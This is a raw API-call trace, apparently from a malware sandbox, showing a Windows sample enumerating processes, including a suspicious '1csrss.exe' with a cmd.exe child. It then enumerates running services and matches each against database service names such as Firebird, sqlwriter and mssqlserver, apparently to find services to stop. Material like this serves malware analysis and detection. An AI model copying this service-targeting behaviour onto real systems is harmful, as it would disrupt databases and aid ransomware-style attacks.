th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0272.388] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0272.388] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0272.388] lstrlenW (lpString="sihost.exe") returned 10 [0272.388] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.389] lstrlenW (lpString="svchost.exe") returned 11 [0272.389] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0272.390] lstrlenW (lpString="taskhostw.exe") returned 13 [0272.390] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0272.390] lstrlenW (lpString="msoia.exe") returned 9 [0272.390] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0272.391] lstrlenW (lpString="explorer.exe") returned 12 [0272.391] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0272.391] lstrlenW (lpString="SearchUI.exe") returned 12 [0272.391] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0272.392] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0272.392] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0272.393] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0272.393] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0272.393] lstrlenW (lpString="1csrss.exe") returned 10 [0272.393] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.394] lstrlenW (lpString="svchost.exe") returned 11 [0272.394] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0272.394] lstrlenW (lpString="cmd.exe") returned 7 [0272.394] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0272.395] lstrlenW (lpString="conhost.exe") returned 11 [0272.395] Process32NextW (in: hSnapshot=0x330, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0272.396] CloseHandle (hObject=0x330) returned 1 [0272.396] Sleep (dwMilliseconds=0x1f4) [0272.988] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x71ec28 [0272.996] EnumServicesStatusExW (in: hSCManager=0x71ec28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0272.997] GetLastError () returned 0xea [0272.997] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1ca4) returned 0x7c57a0 [0272.997] EnumServicesStatusExW (in: hSCManager=0x71ec28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7c57a0, cbBufSize=0x1ca4, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7c57a0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0272.998] CloseServiceHandle (hSCObject=0x71ec28) returned 1 [0272.999] lstrlenW (lpString="AppXSvc") returned 7 [0272.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0272.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0272.999] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0272.999] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0272.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0272.999] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0272.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0272.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0272.999] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0272.999] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0272.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0272.999] lstrlenW (lpString="Audiosrv") returned 8 [0272.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0272.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0272.999] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0272.999] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0272.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0272.999] lstrlenW (lpString="BFE") returned 3 [0272.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0272.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0272.999] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0272.999] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0272.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0272.999] lstrlenW (lpString="BITS") returned 4 [0272.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0273.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0273.000] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0273.000] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0273.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0273.000] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0273.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0273.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0273.000] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0273.000] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0273.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0273.000] lstrlenW (lpString="CDPSvc") returned 6 [0273.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0273.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0273.000] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0273.000] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0273.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0273.000] lstrlenW (lpString="ClickToRunSvc") returned 13 [0273.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0273.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0273.000] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0273.000] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0273.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0273.000] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0273.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0273.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0273.000] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0273.000] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0273.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0273.000] lstrlenW (lpString="CryptSvc") returned 8 [0273.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0273.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0273.001] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0273.001] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0273.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0273.001] lstrlenW (lpString="DcomLaunch") returned 10 [0273.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0273.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0273.001] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0273.001] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0273.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0273.001] lstrlenW (lpString="DeviceAssociationService") returned 24 [0273.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0273.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0273.001] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0273.001] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0273.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0273.001] lstrlenW (lpString="Dhcp") returned 4 [0273.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0273.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0273.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0273.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0273.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0273.001] lstrlenW (lpString="Dnscache") returned 8 [0273.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0273.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0273.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0273.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0273.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0273.001] lstrlenW (lpString="DPS") returned 3 [0273.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0273.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0273.002] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0273.002] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0273.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0273.002] lstrlenW (lpString="DusmSvc") returned 7 [0273.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0273.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0273.002] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0273.002] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0273.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0273.002] lstrlenW (lpString="EventLog") returned 8 [0273.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0273.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0273.002] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0273.002] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0273.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0273.002] lstrlenW (lpString="EventSystem") returned 11 [0273.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0273.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0273.002] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0273.002] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0273.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0273.002] lstrlenW (lpString="FontCache") returned 9 [0273.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0273.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0273.002] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0273.002] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0273.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0273.002] lstrlenW (lpString="gpsvc") returned 5 [0273.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0273.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0273.003] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0273.003] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0273.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0273.003] lstrlenW (lpString="iphlpsvc") returned 8 [0273.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0273.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0273.003] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0273.003] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0273.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0273.003] lstrlenW (lpString="KeyIso") returned 6 [0273.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0273.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0273.003] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0273.003] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0273.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0273.003] lstrlenW (lpString="LanmanServer") returned 12 [0273.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0273.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0273.003] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0273.003] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0273.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0273.003] lstrlenW (lpString="LanmanWorkstation") returned 17 [0273.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0273.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0273.003] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0273.003] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0273.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0273.003] lstrlenW (lpString="lfsvc") returned 5 [0273.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0273.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0273.004] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0273.004] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0273.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0273.004] lstrlenW (lpString="lmhosts") returned 7 [0273.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0273.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0273.004] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0273.004] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0273.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0273.004] lstrlenW (lpString="LSM") returned 3 [0273.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0273.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0273.004] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0273.004] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0273.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0273.004] lstrlenW (lpString="MpsSvc") returned 6 [0273.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0273.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0273.004] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0273.004] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0273.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0273.004] lstrlenW (lpString="NcbService") returned 10 [0273.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0273.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0273.004] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0273.004] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0273.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0273.004] lstrlenW (lpString="netprofm") returned 8 [0273.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0273.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0273.005] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0273.005] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0273.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0273.005] lstrlenW (lpString="NgcSvc") returned 6 [0273.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0273.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0273.005] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0273.005] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0273.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0273.005] lstrlenW (lpString="NlaSvc") returned 6 [0273.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0273.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0273.005] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0273.005] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0273.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0273.005] lstrlenW (lpString="nsi") returned 3 [0273.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0273.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0273.005] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0273.005] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0273.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0273.005] lstrlenW (lpString="PcaSvc") returned 6 [0273.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0273.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0273.005] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0273.005] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0273.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0273.005] lstrlenW (lpString="PlugPlay") returned 8 [0273.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0273.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0273.006] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0273.006] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0273.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0273.006] lstrlenW (lpString="Power") returned 5 [0273.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0273.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0273.006] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0273.006] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0273.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0273.006] lstrlenW (lpString="ProfSvc") returned 7 [0273.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0273.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0273.006] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0273.006] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0273.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0273.006] lstrlenW (lpString="RpcEptMapper") returned 12 [0273.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0273.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0273.006] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0273.006] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0273.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0273.006] lstrlenW (lpString="RpcSs") returned 5 [0273.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0273.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0273.006] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0273.006] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0273.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0273.006] lstrlenW (lpString="SamSs") returned 5 [0273.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0273.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0273.006] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0273.006] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0273.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0273.006] lstrlenW (lpString="Schedule") returned 8 [0273.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0273.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0273.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0273.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0273.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0273.007] lstrlenW (lpString="SecurityHealthService") returned 21 [0273.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0273.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0273.007] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0273.007] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0273.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0273.007] lstrlenW (lpString="SENS") returned 4 [0273.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0273.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0273.007] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0273.007] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 